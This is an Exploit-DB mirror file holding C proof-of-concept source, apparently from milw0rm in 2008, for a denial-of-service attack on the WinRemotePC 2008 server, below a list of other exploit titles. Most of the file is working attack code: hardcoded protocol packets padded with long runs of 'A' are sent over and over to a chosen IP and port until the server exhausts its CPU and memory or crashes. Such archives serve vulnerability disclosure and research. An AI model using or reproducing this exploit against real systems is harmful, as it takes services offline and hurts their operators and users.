exploit-db-mirror/platforms/windows/dos/6077.c
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

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cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
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Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
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New-CMS - Multiple Vulnerability
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Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
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KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

73 lines
4.4 KiB
C
Executable file

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <sys/stat.h>
#include <fcntl.h>
#define size 30000
#define tests 35
/*
****WinRemotePC Full+Lite 2008 r.2server DOS(memory+cpu consumption) vulnerability poc****
A vulnerability exists in WinRemotePC Full+Lite 2008 r.2+server in the way it handles recieved packets because it
fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and
after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to
immediate crash.Although i couldn't find a packet pattern for immediate crash or exploitation the DOS is certain through
cpu+memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D
Usage: ./dos [ip] [port]
WinRemotePC: http://www.winsoftmagic.com/winremotepc.html
Discovey+POC by Shinnok + raydenxy [at] yahoo dot com
*/
/*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A's.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/
char p1[]="\x00\x00\x00\x00\xa7\x01\x00\x00\xa7\x01\x00\x00\x00\xff\x00\x00\xe4\x2e\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x8f\x41\x82\x7b\x38\xb1\xe4\x4e\x9b\x92\xf5\xc0\xe5\xf9\xb9\xd2\x01\x01\x00\x00\x20\x00\x00\x00\x22\xf4\xc7\x1f\xf6\x9a\x5e\x77\x1b\x42\x73\x70\x42\xda\xf0\xd1\x70\x59\xf8\xf7\x81\xb7\x97\x0a\x11\xf2\x4c\x0c\x3a\xbd\x56\xb9\x20\x00\x00\x00\xa1\xeb\x78\xe2\xbe\xeb\xb7\x3a\x33\x8c\xf4\x1f\xbd\xbe\x21\x9e\xf8\x6b\x20\x2d\x0f\x1d\x4b\x3e\x2d\x55\x5e\x45\xf6\x8a\xed\x4d\x5f\x00\x00\x00\xe8\x7c\x1a\x56\xd0\xa6\xf8\xef\x09\xea\xb6\xc8\x53\xe2\xc9\xc9\xcd\x86\x0b\xa3\x55\x90\xe6\x4c\x97\xb6\x38\x4b\xbc\x5f\xa4\x29\xa9\x2d\x1c\xa1\xa1\x7b\x1a\xbf\x97\x1a\x88\x55\x1d\x7e\xa4\x2e\x43\xf7\x57\xd6\x21\x1e\x9e\xa0\x6f\x4a\xd0\x38\xfa\xe9\x9a\x50\x8f\xd0\x43\x88\x9f\xc8\xb5\x6f\x09\x1a\xcf\x92\x74\x41\x6b\x87\xe1\xef\xbc\xe3\xf0\x99\x09\xb6\x8d\x85\x0b\x2e\xd3\x3b\x2e\x94\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x28\x0a\x00\x00\x02\x00\x00\x00";
char p2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x30\x31\x2d\x30\x30\x2d\x36\x46\x32\x45\x30\x31\x37\x30\x2d\x31\x45\x45\x38\x2d\x34\x34\x33\x36\x2d\x41\x35\x36\x44\x2d\x30\x44\x35\x33\x39\x38\x39\x36\x46\x30\x31\x35\x02\x00\x00\x00\x30\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x18\x00\x00\x00\x00\xff\x00\x00\xc4\x13\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
/*All kinds of A sizes to ensure the dos,starting with big ones at first to ensure that memory consumption occurs first and then dealing with the cpu issue.*/
int sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000,4000,5000,6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17000,18000,19000,20000,21000,22000,23000,24000};
int main(int argc, char* argv[]){
struct sockaddr_in server;
int s,i,f;
char req[size];
char* buff;
for(i=0;i<size;i++) req[i]='A';
bzero(&server,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port = htons(atoi(argv[2]));
for(i=0;i<tests;i++) {
s=socket(AF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr * ) &server,sizeof(struct sockaddr)) == -1) {
perror("Target blasted.\n");
return(EXIT_SUCCESS);
}
buff = malloc((sizeof(p1)+sizeof(p2)+sizes[i])-2);
memcpy(buff,p1,sizeof(p1)-1);
memcpy(buff+sizeof(p1)-1,req,sizes[i]);
memcpy(buff+sizeof(p1)-1+sizes[i],p2,sizeof(p2)-1);
write(s,buff,(sizeof(p1)+sizeof(p2)+sizes[i])-2);
close(s);
free(buff);
}
return(EXIT_SUCCESS);
}
// milw0rm.com [2008-07-15]